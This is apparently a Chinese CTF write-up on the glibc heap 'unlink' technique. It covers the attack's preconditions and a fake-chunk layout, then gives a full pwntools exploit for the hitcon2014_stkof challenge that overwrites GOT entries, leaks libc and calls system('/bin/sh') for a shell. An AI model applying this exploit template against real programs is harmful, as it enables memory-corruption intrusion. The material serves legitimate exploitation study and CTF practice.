Unlink 攻击
Unlink 也是一种很常见的堆溢出利用手段
我认为 unlink 攻击的本质是利用 free 中 unlink 操作修改指向堆块的指针变量 p,使其指向 p-3 处,修改 p[3] 即可修改 p 自身,从而达到任意地址读写的能力。
利用条件:
- 指针变量 p 指向堆分配的地址,且对该地址可读可写
- p 指向的 chunk 的前一个 chunk 可溢出到下一个 chunk 的 size 域
- p 指向的 chunk 的前一个 chunk 大小足够构造 fake chunk
- 满足 free unlink 条件
只要满足上述条件,并合理的在 p 指向 chunk 的物理前一个 chunk 中构造 fake chunk,再调用 free(p) 即可触发 unlink
p 指向 fake_chunk
fake chunk 构造如下
pre_size |
0 |
size |
xxxx |
fd |
&p - 0x18 |
bk |
&p - 0x10 |
unlink 是模版化的题,每次按照这个表填即可。
hitcon2014_stkof
非常简单的 unlink 题,该题在 bss 段保存了一张指针表,每一项都指向 malloc 出来的内存,并且对指向的内存有任意读写的能力,且能溢出写。
只需要让 p 指向该指针表的某项,并构造 fake chunk ,unlink 之后指针表可控。
指针表可控后,填入 strlen got 表地址,修改 strlen got 为 puts,泄漏 libc 地址
再次修改 strlen 为 system ,getshell
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79
| from elftools.construct import lib from elftools.elf.sections import Symbol from pwn import * context.log_level = 'debug'
libc_file_name = '/home/pandaos/Projects/pwn/glibc/buu/ubuntu16/libc-2.23.so' ld_file_name = '/home/pandaos/Projects/pwn/glibc/buu/ubuntu16/ld-linux-x86-64.so.2'
p = remote('node3.buuoj.cn', 29213)
libc = ELF(libc_file_name) elf = ELF('stkof')
def new_note(size): p.sendline('1') p.sendline(str(size)) p.recvuntil('OK')
def edit_note(idx, content): p.sendline('2') p.sendline(str(idx)) p.sendline(str(len(content))) p.send(content) p.recvuntil('OK')
def free_note(idx): p.sendline('3') p.sendline(str(idx)) p.recvuntil('OK')
def call(idx): p.sendline('4') p.sendline(str(idx))
new_note(0x50) edit_note(1, 'A' * 0x50)
new_note(0x100) edit_note(2, 'B' * 0x100)
new_note(0x100) edit_note(3, 'C' * 0x100)
new_note(0x100) edit_note(4, 'E' * 0x100)
new_note(0x100) edit_note(5, 'F' * 0x100)
new_note(0x100) edit_note(6, '/bin/sh')
target = 0x602160 fake_chunk = p64(0) + p64(0x101) + p64(target - 0x18) + p64(target - 0x10) + b'D' * 0xE0 + p64(0x100) + p64(0x110) edit_note(4, fake_chunk) free_note(5) edit_note(4, p64(0x602030)) edit_note(1, p64(elf.plt['puts'])) edit_note(4, p64(elf.got['puts'])) call(1) p.recvn(1) leak_puts = u64(p.recvn(6) + b'\x00\x00') libc_base = leak_puts - libc.symbols['puts'] print("libc base: ", hex(libc_base)) edit_note(4, p64(0x602030)) edit_note(1, p64(libc_base + libc.symbols['system'])) call(6)
p.interactive()
|